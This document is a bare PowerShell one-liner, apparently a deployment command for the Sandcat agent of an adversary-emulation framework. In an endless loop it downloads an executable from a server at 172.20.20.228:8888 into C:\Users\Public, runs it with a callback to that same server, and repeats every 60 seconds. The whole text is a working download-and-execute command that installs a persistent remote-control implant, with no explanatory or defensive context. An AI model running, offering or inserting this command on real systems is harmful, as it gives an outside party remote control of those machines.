while($true) {$url="http://172.20.20.228:8888/file/download";$wc=New-Object System.Net.WebClient;$wc.Headers.add("platform","windows");$wc.Headers.add("file","sandcat.go");$output="C:\Users\Public\sandcat.exe";$wc.DownloadFile($url,$output);C:\Users\Public\sandcat.exe -server http://172.20.20.228:8888 -group my_group; sleep 60}